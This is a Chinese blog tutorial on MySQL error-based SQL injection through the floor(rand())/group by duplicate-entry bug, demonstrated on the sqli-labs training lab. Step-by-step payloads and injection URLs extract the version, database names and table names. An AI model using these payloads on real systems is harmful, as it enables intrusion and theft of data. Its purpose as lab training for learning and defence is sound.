美文网首页
报错注入分析

报错注入分析

作者: Yix1a | 来源:发表于2019-05-10 13:31 被阅读0次
    • 转自一个不知出处的笔记,谢谢

    5.0及以上版本的 MYSQL 里有 information_schema 这个数据库

    information_schema.tables 表 里的 table_schema 列 中的字段有 所有数据库名:

    mysql> select table_schema from information_schema.tables group by table_schema;

    +--------------------+
    | table_schema |
    +--------------------+
    | challenges |
    | information_schema |
    | mysql |
    | performance_schema |
    | security |
    +--------------------+
    5 rows in set (0.00 sec)


    后台SQL语句分析

    1. 单引号测试

    2. and 1=1 ; and 1=2 ; order by ; select

    3. 基于错误的注入

    当基于正确的注入,不会显示出想要的结果时,就要用到基于错误的注入方式了

    比如:
    http://192.168.137.138/sqli-labs-master/Less-5/?id=2' union select 1,2,3 --+

    union select 前面的语法正确, 后面的语法也正确
    但是回车后,发现页面显示没有发生变化

    本来是想让其爆出 字段 位置的

    一个细节:当输入正确的语句时显示的是 You are in....
    当输入错误的语句时返回错误信息

    如果输入正确的语句,反而不会显示你需要的信息
    这个时候就需要 基于错误的注入方法了,要从数据库返回错误的信息来得到想要的信息

    ------------------------------基于错误的sql语句构造---------------------------

    • 几个重要的函数

      -count() : 统计元祖的个数

      -rand() : 用于产生一个 0~1 的随机数

      -floor() :向下取整

      -group by : 依据想要的规则对结果进行分组

    (间歇性的重复录入的关键group_key对 floor(rand())

    --------------------------在mysql数据库中使用这些函数-------------------------

    ****** -count()

    mysql> select count() from information_schema.tables;
    +----------+
    | count(
    ) |
    +----------+
    | 86 |
    +----------+
    1 row in set (0.00 sec)

    这句话意思是:统计 information_schema.tables 中的元祖数
    

    ******* -rand()

    mysql> select rand();
    +--------------------+
    | rand() |
    +--------------------+
    | 0.8059645693804739 |
    +--------------------+
    1 row in set (0.00 sec)

    这句话意思是:产生一个0~1的随机数,并显示出来
    

    ******* -floor()

    mysql> select floor(rand());
    +---------------+
    | floor(rand()) |
    +---------------+
    | 0 |
    +---------------+
    1 row in set (0.00 sec)

    这句话意思是:产生一个0~1的随机数,并对其向下取整
    

    如果rand()*2呢?

    mysql> select floor(rand()2);
    +-----------------+
    | floor(rand()
    2) |
    +-----------------+
    | 0 |
    +-----------------+
    1 row in set (0.00 sec)

    mysql> select floor(rand()2);
    +-----------------+
    | floor(rand()
    2) |
    +-----------------+
    | 1 |
    +-----------------+
    1 row in set (0.00 sec)

    结果当然是既能产生1,也能产生0
    

    ******* -group by

    概述:

    “Group By”从字面意义上理解就是根据“By”指定的规则对数据进行分组,所谓的分组就是将一个“数据集”划分成若干个“小区域”,然后针对若干个“小区域”进行数据处理。

    mysql> select table_name,table_schema from information_schema.tables group by table_schema;
    +----------------+--------------------+
    | table_name | table_schema |
    +----------------+--------------------+
    | mvtfye57if | challenges |
    | CHARACTER_SETS | information_schema |
    | columns_priv | mysql |
    | cond_instances | performance_schema |
    | emails | security |
    +----------------+--------------------+
    5 rows in set (0.00 sec)

    这句的意思是:从information_schema.tables 表中 查找 table_name 和 
    

    table_schema 列,并以table_schema 列的 规则 排序

    !!!!!不过:显示出来的是,table_schema规则下的 第一个 table_name!!!!!

    原本 信息如下:

    mysql> select table_name,table_schema from information_schema.tables;
    +----------------------------------------------+--------------------+
    | table_name | table_schema |
    +----------------------------------------------+--------------------+
    | CHARACTER_SETS | information_schema |
    | COLLATIONS | information_schema |
    | COLLATION_CHARACTER_SET_APPLICABILITY | information_schema |
    | COLUMNS | information_schema |
    | COLUMN_PRIVILEGES | information_schema |
    | ENGINES | information_schema |
    | EVENTS | information_schema |
    | FILES | information_schema |
    | GLOBAL_STATUS | information_schema |
    | GLOBAL_VARIABLES | information_schema |
    | KEY_COLUMN_USAGE | information_schema |
    | PARAMETERS | information_schema |
    | PARTITIONS | information_schema |
    | PLUGINS | information_schema |
    | PROCESSLIST | information_schema |
    | PROFILING | information_schema |
    | REFERENTIAL_CONSTRAINTS | information_schema |
    | ROUTINES | information_schema |
    | SCHEMATA | information_schema |
    | SCHEMA_PRIVILEGES | information_schema |
    | SESSION_STATUS | information_schema |
    | SESSION_VARIABLES | information_schema |
    | STATISTICS | information_schema |
    | TABLES | information_schema |
    | TABLESPACES | information_schema |
    | TABLE_CONSTRAINTS | information_schema |
    | TABLE_PRIVILEGES | information_schema |
    | TRIGGERS | information_schema |
    | USER_PRIVILEGES | information_schema |
    | VIEWS | information_schema |
    | INNODB_BUFFER_PAGE | information_schema |
    | INNODB_TRX | information_schema |
    | INNODB_BUFFER_POOL_STATS | information_schema |
    | INNODB_LOCK_WAITS | information_schema |
    | INNODB_CMPMEM | information_schema |
    | INNODB_CMP | information_schema |
    | INNODB_LOCKS | information_schema |
    | INNODB_CMPMEM_RESET | information_schema |
    | INNODB_CMP_RESET | information_schema |
    | INNODB_BUFFER_PAGE_LRU | information_schema |
    | mvtfye57if | challenges |
    | columns_priv | mysql |
    | db | mysql |
    | event | mysql |
    | func | mysql |
    | general_log | mysql |
    | help_category | mysql |
    | help_keyword | mysql |
    | help_relation | mysql |
    | help_topic | mysql |
    | host | mysql |
    | ndb_binlog_index | mysql |
    | plugin | mysql |
    | proc | mysql |
    | procs_priv | mysql |
    | proxies_priv | mysql |
    | servers | mysql |
    | slow_log | mysql |
    | tables_priv | mysql |
    | time_zone | mysql |
    | time_zone_leap_second | mysql |
    | time_zone_name | mysql |
    | time_zone_transition | mysql |
    | time_zone_transition_type | mysql |
    | user | mysql |
    | cond_instances | performance_schema |
    | events_waits_current | performance_schema |
    | events_waits_history | performance_schema |
    | events_waits_history_long | performance_schema |
    | events_waits_summary_by_instance | performance_schema |
    | events_waits_summary_by_thread_by_event_name | performance_schema |
    | events_waits_summary_global_by_event_name | performance_schema |
    | file_instances | performance_schema |
    | file_summary_by_event_name | performance_schema |
    | file_summary_by_instance | performance_schema |
    | mutex_instances | performance_schema |
    | performance_timers | performance_schema |
    | rwlock_instances | performance_schema |
    | setup_consumers | performance_schema |
    | setup_instruments | performance_schema |
    | setup_timers | performance_schema |
    | threads | performance_schema |
    | emails | security |
    | referers | security |
    | uagents | security |
    | users | security |
    +----------------------------------------------+--------------------+
    86 rows in set (0.00 sec)

    总结: 按照某个规则分组的话,重复的只会显示一次,但对应的信息,也只会显示第一条信息

    将count() 和 group by 一起使用, 效果如下:
    

    mysql> select count(0),table_name,table_schema from information_schema.tables group by table_schema;
    +----------+----------------+--------------------+
    | count(0) | table_name | table_schema |
    +----------+----------------+--------------------+
    | 1 | mvtfye57if | challenges |
    | 40 | CHARACTER_SETS | information_schema |
    | 24 | columns_priv | mysql |
    | 17 | cond_instances | performance_schema |
    | 4 | emails | security |
    +----------+----------------+--------------------+
    5 rows in set (0.00 sec)

    这句的意思:从information_schema.tables 表中 选择 table_name , table_schema ,并按照 table_schema 的 规则 分组,并且 统计 各组数量
    

    使用分隔符显示使其更清晰:

    要使用group_concat() 函数(连接 函数):

    mysql> select group_concat('::',database(),'::');
    +------------------------------------+
    | group_concat('::',database(),'::') |
    +------------------------------------+
    | ::security:: |
    +------------------------------------+
    1 row in set (0.00 sec)

    这句的意思是: 选择   '::',当前数据库,'::' 用连接函数查询
    
    注意: :: 这个分隔符(分隔符随意取 像是 !、@、~、……、%...都可以)
    
    如果不用''括起来,则必须用16进制表示!
    

    这个显示出来的表名 group_concat('::',database(),'::') 太长了

    可以在原语句后面加个'别名':

    select group_concat('::',database(),'::')DBname;

    显示效果如下

    mysql> select group_concat('::',database(),'::')DBname;
    +--------------+
    | DBname |
    +--------------+
    | ::security:: |
    +--------------+
    1 row in set (0.09 sec)


    接下来,就要利用最开始所说的 MySQL 的 BUG 了
    -------------------第①步---将随机数函数添加进入 分隔符 ----------------------

    构造语句:

    select group_concat('::',database(),'::',floor(rand()*2))DBname;

    效果如下:

    mysql> select group_concat('::',database(),'::',floor(rand()*2))DBname;
    +---------------+
    | DBname |
    +---------------+
    | ::security::0 |
    +---------------+
    1 row in set (0.00 sec)

    mysql> select group_concat('::',database(),'::',floor(rand()*2))DBname;
    +---------------+
    | DBname |
    +---------------+
    | ::security::1 |
    +---------------+
    1 row in set (0.00 sec)

    可见,在报出的当前数据库名后 多了 0 或者 1
    

    ----------------第②步----在其后 添加from语句,使上面的语句重复执行------------

    构造语句:

    select group_concat('::',database(),'::',floor(rand()*2))DBname from information_schema.tables;

    效果如下:

    mysql> select group_concat('::',database(),'::',floor(rand()*2))DBname from info
    rmation_schema.tables;
    +-------------------------------------------------------------------------------












    -------------------------------------------------------------------+
    | DBname

                                                                   |
    

    +-------------------------------------------------------------------------------











    -------------------------------------------------------------------+
    | ::security::0,::security::1,::security::1,::security::1,::security::0,::securi
    ty::1,::security::0,::security::1,::security::0,::security::1,::security::1,::se
    curity::1,::security::0,::security::0,::security::1,::security::1,::security::1,
    ::security::1,::security::0,::security::0,::security::0,::security::0,::security
    ::0,::security::1,::security::1,::security::0,::security::0,::security::0,::secu
    rity::0,::security::1,::security::1,::security::1,::security::0,::security::0,::
    security::1,::security::0,::security::0,::security::1,::security::0,::security::
    1,::security::1,::security::1,::security::1,::security::1,::security::1,::securi
    ty::0,::security::0,::security::0,::security::1,::security::1,::security::1,::se
    curity::0,::security::0,::security::1,::security::1,::security::1,::security::1,
    ::security::0,::security::0,::security::0,::security::0,::security::1,::security
    ::0,::security::0,::security::0,::security::1,::security::1,::security::1,::secu
    rity::0,::security::0,::security::1,::security::1,::security::1,:: |
    +-------------------------------------------------------------------------------












    -------------------------------------------------------------------+
    1 row in set, 1 warning (0.00 sec)

    结果有点乱,为了使结果更有序,把 group_concat() 函数 改成 concat() 函数 ,这个函数能把结果按列排列

    效果如下:

    mysql> select concat('::',database(),'::',floor(rand()*2))DBname from informatio
    n_schema.tables;
    +---------------+
    | DBname |
    +---------------+
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    +---------------+
    86 rows in set (0.00 sec)

    可以见得

    select concat('::',database(),'::',floor(rand()*2))DBname from informatio
    n_schema.tables;

    这个语句 的作用 是 information_schema.tables 这个表中 有多少元祖,则这个select就执行多少次,随着 rand函数也就执行多少次

    可以发现 information_schema.tables 中有86个元祖

    ---------------------第③步---使用 group by 对结果进行分组--------------------

    构造语句:

    select concat('::',database(),'::',floor(rand()*2))DBname from informatio
    n_schema.tables group by DBname;

    这个语句的意思是:执行 information_schema.tables 里的元祖个数 次 select
    

    函数 ,并且 把 结果按照 DBname 进行分组(分组的意思是,本来DBname中就只有两种结果,然后 group by 就只是显示不重复的部分)

    效果如下:

    mysql> select concat('::',database(),'::',floor(rand()*2))DBname from informatio
    n_schema.tables group by DBname;
    +---------------+
    | DBname |
    +---------------+
    | ::security::0 |
    | ::security::1 |
    +---------------+
    2 rows in set (0.02 sec)

    --------------------第④步---利用上文的 MySQL BUG 构造逻辑错误----------------

    在已经查出第③步信息的基础

    同时可以再加一些东西,比如我想知道有多少个 ::security::0 和 ::security::1

    构造语句:

    select count(),concat('::',database(),'::',floor(rand()2))DBname from information_schema.tables group by DBname;

    效果如下:

    mysql> select count(),concat('::',database(),'::',floor(rand()2))DBname from i
    nformation_schema.tables group by DBname;
    +----------+---------------+
    | count(*) | DBname |
    +----------+---------------+
    | 34 | ::security::0 |
    | 52 | ::security::1 |
    +----------+---------------+
    2 rows in set (0.00 sec)

    目前 还没发现 有什么奇怪的问题,那么 多输入几次同样的语句:

    效果如下:

    mysql> select count(),concat('::',database(),'::',floor(rand()2))DBname from i
    nformation_schema.tables group by DBname;
    +----------+---------------+
    | count(*) | DBname |
    +----------+---------------+
    | 44 | ::security::0 |
    | 42 | ::security::1 |
    +----------+---------------+
    2 rows in set (0.00 sec)

    mysql> select count(),concat('::',database(),'::',floor(rand()2))DBname from i
    nformation_schema.tables group by DBname;
    +----------+---------------+
    | count(*) | DBname |
    +----------+---------------+
    | 46 | ::security::0 |
    | 40 | ::security::1 |
    +----------+---------------+
    2 rows in set (0.00 sec)

    mysql> select count(),concat('::',database(),'::',floor(rand()2))DBname from i
    nformation_schema.tables group by DBname;
    ERROR 1062 (23000): Duplicate entry '::security::0' for key 'group_key'

    发现第4次输入语句是,返回的东西居然是一个错误 ERROR

    ERROR 1062 (23000): Duplicate entry '::security::0' for key 'group_key'

    这个东西就是 MySQL BUG ,这条错误已经爆出了 当前数据库名

                security
    

    同理,可以将 database() 函数换成 其他想要查询的东西 比如 version() 函数查看版本号

    构造语句:

    select count(),concat('::',version(),'::',floor(rand()2))VS from information_schema.tables group by VS;

    效果如下:

    mysql> select count(),concat('::',version(),'::',floor(rand()2))VS from inform
    ation_schema.tables group by VS;
    +----------+-------------+
    | count(*) | VS |
    +----------+-------------+
    | 45 | ::5.5.40::0 |
    | 41 | ::5.5.40::1 |
    +----------+-------------+
    2 rows in set (0.00 sec)

    mysql> select count(),concat('::',version(),'::',floor(rand()2))VS from inform
    ation_schema.tables group by VS;
    ERROR 1062 (23000): Duplicate entry '::5.5.40::0' for key 'group_key'

    可以发现,第二次输入语句时候,已经报错,错误信息中'::5.5.40::0'就是我们想要查询的数据库版本号。

    再来试一试其他的查询信息

    查一查数据库名

    构造语句:

    select count(),concat('::',table_schema,'::',floor(rand()2)DBN from information_schema.tables group by DBN;

    效果如下:

    mysql> select count(),concat('::',table_schema,'::',floor(rand()2))DBN from information_schema.tables group by DBN ;

    ERROR 1062 (23000): Duplicate entry '::information_schema::1' for key 'group_key'

    但是这样虽然确实是爆出了数据库的信息,但是只有一个项目,而且啊

    在原语句后面加上 limit n,1 也不管用了,这个漏洞报错似乎是随机抽出DBN中的信息

    多试几次输入,会爆出其他 数据库名字,但是有点费事,因为不确定他在那个数据库名统计
    的时候出错 , 有的数据库名字出现概率太小了

    这个时候可以构造更复杂的语句:

    select count(),concat('::',(select gourp_concat(table_name) from information_schema.tables where table_schema=database() ),'::',floor(rand()2))DBN from information_schema.tables group by DBN ;

    效果如下:

    mysql> select count(),concat('::',(select group_concat(table_name) from information_schema.tables where table_schema='security' ),'::')TN from information_schema.tables group by TN;
    +----------+-----------------------------------+
    | count(
    ) | TN |
    +----------+-----------------------------------+
    | 86 | ::emails,referers,uagents,users:: |
    +----------+-----------------------------------+
    1 row in set (0.00 sec)

    如果想偷懒,一次性用group_concat()函数爆出所有表名的话,不会出错的,也就是前台无法爆出错误信息;

    这样的原因可能是 整个语句 只能 显示 一个内容

    应该这样构造:

    select count(),concat('::',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'::',floor(rand()2))DBN from information_schema.tables group by DBN ;

    table_name 哪里只能是‘一项’

    效果如下:

    mysql> select count(),concat('::',(select table_name from information_schema.ta
    bles where table_schema=database() limit 0,1),'::',floor(rand()
    2))TN from infor
    mation_schema.tables group by TN;
    ERROR 1062 (23000): Duplicate entry '::emails::0' for key 'group_key'

    这样就爆出错误信息了

    想要查找当前数据库中其他表名的话,修改 limit 后面的 行数就行了,这样的话查询方向比较明确

    而且在试验中,还发现:

    select count(),concat('::',table_schema,'::',floor(rand()2)DBN from information_schema.tables group by DBN;

    中最后一部分 group by DBN 如果改成其他 如 table_schema 的话

    显示效果如下:

    mysql> select count(),concat('::',table_schema,'::',floor(rand()2))DBN from in
    formation_schema.tables group by table_schema ;
    +----------+-------------------------+
    | count(*) | DBN |
    +----------+-------------------------+
    | 1 | ::challenges::0 |
    | 40 | ::information_schema::1 |
    | 24 | ::mysql::0 |
    | 17 | ::performance_schema::1 |
    | 4 | ::security::1 |
    +----------+-------------------------+
    5 rows in set (0.00 sec)

    无论刷新多少次都不会报错,因为这个就没有利用到 那个 BUG 原理了,并没有出现逻辑错误

    说明 BUG 用到的: group by 自定义名, floor(rand()2) , count()缺一不可


    总结:

    *什么时候该用 基于错误的注入 ??

    ---当只有 语句错误 时返回页面 显示不同的 错误信息 时

    即是:注入语句正确时,返回页面一成不变,而输入不同的错误注入语句时,返回页面返回出不同的错误页面

    在页面上如果根据id值不同,返回页面也不同,也就是说正确页面可以返回不同的内容的话,就不用基于错误的注入方式

    *在返回错误信息中爆出我们想要的信息 的 原理 ???

    ---利用 MySQL 本身的漏洞:

    Intermittent 'duplicate entry' for key 'group_key' on FLOOR(RAND())
    
    (间歇性的重复录入的关键group_key对 floor(rand())    
    

    *构造语句的步骤:

    --- 【第1步:在普通的正确选择语句中加入分隔符,使其要查询的内容更容易发现】

    如: select group_concat('::',database(),'::') ;

    效果如下:

    mysql> select group_concat('::',database(),'::');
    +------------------------------------+
    | group_concat('::',database(),'::') |
    +------------------------------------+
    | ::security:: |
    +------------------------------------+
    1 row in set (0.00 sec)

    这里看见表名太长了.... 在 group_concat()后面 加上一个 自己定义的名字,方便后续操作

    --- 【第2步:在group_concat()函数里,加入 floor() 和 rand()函数,这是利用漏洞的开始】

    如: select group_concat('::',database(),'::',floor(rand()*2));

    效果如下:

    mysql> select group_concat('::',database(),'::',floor(rand()*2));
    +--------------------------------------------------+
    | group_concat('::',database(),'::',floor(rand())) |
    +--------------------------------------------------+
    | ::security::0 |
    +--------------------------------------------------+
    1 row in set (0.00 sec)

    --- 【第3步:加入需要查询的表名,其意义为执行select表中元祖个数的次数,这也是在此表中变相的查信息】

    如: select group_concat('::',database(),'::',floor(rand()*2)) from information_schema.tables ;

    因为用的 group_concat () 函数,如果表中的元祖个数多,结果会显示得非常乱

    这里改用 concat() 函数,使其结果按列排列;

    效果如下:

    mysql> select concat('::',database(),'::',floor(rand()2)) from information_sche
    ma.tables ;
    +----------------------------------------------+
    | concat('::',database(),'::',floor(rand()
    2)) |
    +----------------------------------------------+
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::1 |
    | ::security::0 |
    | ::security::0 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    | ::security::0 |
    | ::security::1 |
    +----------------------------------------------+
    86 rows in set (0.02 sec)

    --- 【第4步:为了使结果直观明了 使用 group by 函数】

    如: select concat('::',database(),'::',floor(rand()*2))Dname from information_schema.tables group by Dname;

    看见没?? 这里就在 concat() 函数后面 给这个查询结果表命名了一个新名字 Dname

    在后面的 group by 函数使用中,就方便许多了,直接用Dname

    为什么要用 Dname 而不用其他的规则呢?

    这个关系到 漏洞 利用 ,如果是其他规则,不会爆出错误,也没有利用到这个漏洞

    效果如下:

    mysql> select concat('::',database(),'::',floor(rand()*2))Dname from information
    _schema.tables group by Dname;
    +---------------+
    | Dname |
    +---------------+
    | ::security::0 |
    | ::security::1 |
    +---------------+
    2 rows in set (0.00 sec)

    --- 【第5步: 漏洞利用,使用 count() , group by , floor(rand()*2) 函数相互嵌合出现逻辑错误】

    如: select count(),concat('::',database(),'::',floor(rand()2))Dname from information_schema.tables group by Dname;

    这里才是真正利用漏洞的时候

    count() floor() group by

    效果如下:

    mysql> select count(),concat('::',database(),'::',floor(rand()2))Dname from in
    formation_schema.tables group by Dname;
    ERROR 1062 (23000): Duplicate entry '::security::1' for key 'group_key'

    这其中的错误信息就 爆出 了 我们想要查询的内容。

    还可以查询其他信息,比如我想知道 所有的数据库名字:

    构造语句:

    select count(),concat('::',(select table_schema from information_schema.tables group by table_schema limit 0,1),'::',floor(rand()2))DBN from information_schema.tables group by DBN;

    效果如下:

    mysql> select count(),concat('::',(select table_schema from information_schema.tables group by table_schema limit 1,1),'::',floor(rand()2))DBN from information_schema.tables group by DBN;
    ERROR 1062 (23000): Duplicate entry '::information_schema::1' for key 'group_key'

    要想知道其他数据库名,秩序修改 limit 后面的 行数就行了

    目前所有的步骤,都是在后台操作的。

    --- 【第6步: 将构造好的语句,放在前台实验】

    原url:

    http://192.168.137.138/sqli-labs-master/Less-5?id=1

    在对其闭合语句后,就进行报错注入了:

    http://192.168.137.138/sqli-labs-master/Less-5?id=1' and ( select 1 from (select count(),concat('::',version(),'::',floor(rand()2))Dname from information_schema.tables group by Dname) a ) --+

    注意,这里比在数据库中报错实验时,多加个 select 1 from () a

    前半部分也变了 , 闭合后 加上了 个 and

    多刷新几次:
    效果如下:

    Duplicate entry '::5.5.40::0' for key 'group_key'

    已经爆出错误了,版本号 5.5.40

    还可以爆出其他想要的内容,比如数据库名

    构造语句:

    http://192.168.137.138/sqli-labs-master/Less-5?id=1' and ( select 1 from ( select count(),concat('::',(select table_schema from information_schema.tables group by table_schema limit 0,1),'::',floor(rand()2))DBN from information_schema.tables group by DBN ) a )--+

    效果如下:

    Duplicate entry '::challenges::1' for key 'group_key'

    说明第一个数据库名叫 challenges

    如果想爆出其他数据库名,只需要改 limit 后面的行数就行了

    找到关键数据库,再去找关键表,找关键列,找关键字段,找字段内容....

    所有信息都可以报出来

    另外:

    爆数据库名的话:最好用 select schema_name from information_schema.schemata

    这样可以爆出所有的数据库名

    使用之前的 select table_schema from information_schema.tables group by table_schema 也行,但是有的数据库暴不出来

    相关文章

      网友评论

          本文标题:报错注入分析

          本文链接:https://www.haomeiwen.com/subject/apfaoqtx.html